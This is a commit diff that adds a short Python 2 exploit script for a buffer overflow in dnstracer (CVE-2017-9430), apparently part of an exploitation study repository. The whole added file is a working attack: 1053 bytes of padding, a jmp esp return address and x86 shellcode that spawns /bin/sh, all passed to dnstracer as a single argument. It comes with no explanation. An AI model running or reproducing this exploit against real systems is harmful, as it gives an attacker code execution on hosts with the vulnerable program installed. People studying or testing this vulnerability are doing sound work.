finish 7.1.6

src/exploit/7.1.6_dnstracer_2017-9430/exp.py

@@ -0,0 +1,16 @@
+import os
+from subprocess import call
+
+def exp():
+    filling = "A"*1053
+    jmp_esp = "\x5f\xcc\x04\x08"
+    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
+
+    payload = filling + jmp_esp + shellcode
+    call(["dnstracer", payload])
+
+if __name__ == '__main__':
+    try:
+        exp()
+    except Exception as e:
+        print "Something went wrong"